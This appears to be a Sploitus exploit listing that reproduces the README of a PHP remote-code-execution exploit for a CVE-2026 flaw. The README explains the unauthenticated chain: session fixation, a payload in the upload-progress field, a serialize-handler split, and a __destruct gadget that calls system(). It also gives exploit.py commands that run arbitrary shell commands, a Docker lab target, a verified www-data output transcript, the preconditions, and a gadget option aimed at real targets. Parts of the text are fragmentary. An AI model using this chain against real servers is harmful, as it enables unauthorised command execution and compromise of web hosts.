Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • October 21, 2026

through 8.5.11 — is affected. Mitigation: `session.upload_progress.enabled = Off`.

This project contains a working exploit (`exploit.py`) and a Docker target environment that

reproduces the vulnerable host profile (nginx + php-fpm 8.2.34, per-directory

## The chain (two unauthenticated requests)

multipart fields: PHPSESSID= (session fixation

PHP_SESSION_UPLOAD_PROGRESS=| via POST body)

-> the upload-progress key becomes `upload_progress_|` and is

stored verbatim inside the php_serialize session blob.

-> the app's session_start() decodes with the default `php` handler,

which splits the blob at the FIRST `|` (ours) and unserializes the

payload: object injection. Trailing container data forces a decode

FAILURE -> var_destroy -> the injected object's __destruct runs

The exploit injects `O::1:{:""}` — any loaded class whose

`__destruct` executes or calls into something with the property you control.

Default gadget: `Logger->cmd` (defined by the target's `api/app.php`, standing in

for real app/preload classes). Payload: ~48 bytes.

exploit.py the exploit (stdlib only)

Dockerfile vulnerable target environment: nginx + php-fpm 8.2.34

webroot/app/ seed dir (.user.ini -> session.serialize_handler=php_serialize)

webroot/api/ fire dir (.user.ini -> php), Logger gadget class

# 1. build & start the target environment

docker build -t cve-2026-109618-exploit .

docker run -d --name cve618 -p 8080:80 cve-2026-109618-exploit

curl # -> [api] session started

python3 exploit.py 127.0.0.1 8080 "id; uname -a"

python3 exploit.py 127.0.0.1 8080 "cat /etc/hostname" --sid deadbeef0000000000000000000caf

python3 exploit.py host port "cmd" --gadget Monolog --prop target # real-target gadget

Verified transcript against this environment (PHP 8.2.34-fpm):

$ python3 exploit.py 127.0.0.1 8080 "id; uname -sr"

[gadget] uid=33(www-data) gid=33(www-data) groups=33(www-data)

The command output appears in the trigger response: `__destruct` (and thus

`system()`) runs during `session_start()`'s decode-failure cleanup, before the

`Failed to decode session object. Session has been destroyed` warning.

| `session.upload_progress.enabled=On` (default) | the injection channel |

| `session.upload_progress.cleanup=Off` | keeps the seeded payload on disk (with the default `On` only a race window remains) |

| two reachable dirs with different `session.serialize_handler` (`.user.ini` / `.htaccess`) | write side php_serialize, read side php — the `|` split |

| a class with a useful `__destruct` loaded when `session_start()` runs (app code, `opcache.preload`, `auto_prepend_file`) | the RCE gadget; `--gadget/--prop` to match it |

| `session.use_strict_mode=0` (default) | attacker-chosen session id via the POST `PHPSESSID` field (bypasses `use_only_cookies`) |

Note: the payload must ride the **`PHP_SESSION_UPLOAD_PROGRESS` field value**,

not the uploaded filename — multipart part-header lines are capped at ~5 KB and

For authorized security testing and research only. Run it against your own test

environments or systems you have explicit permission to test.

Extracted Entities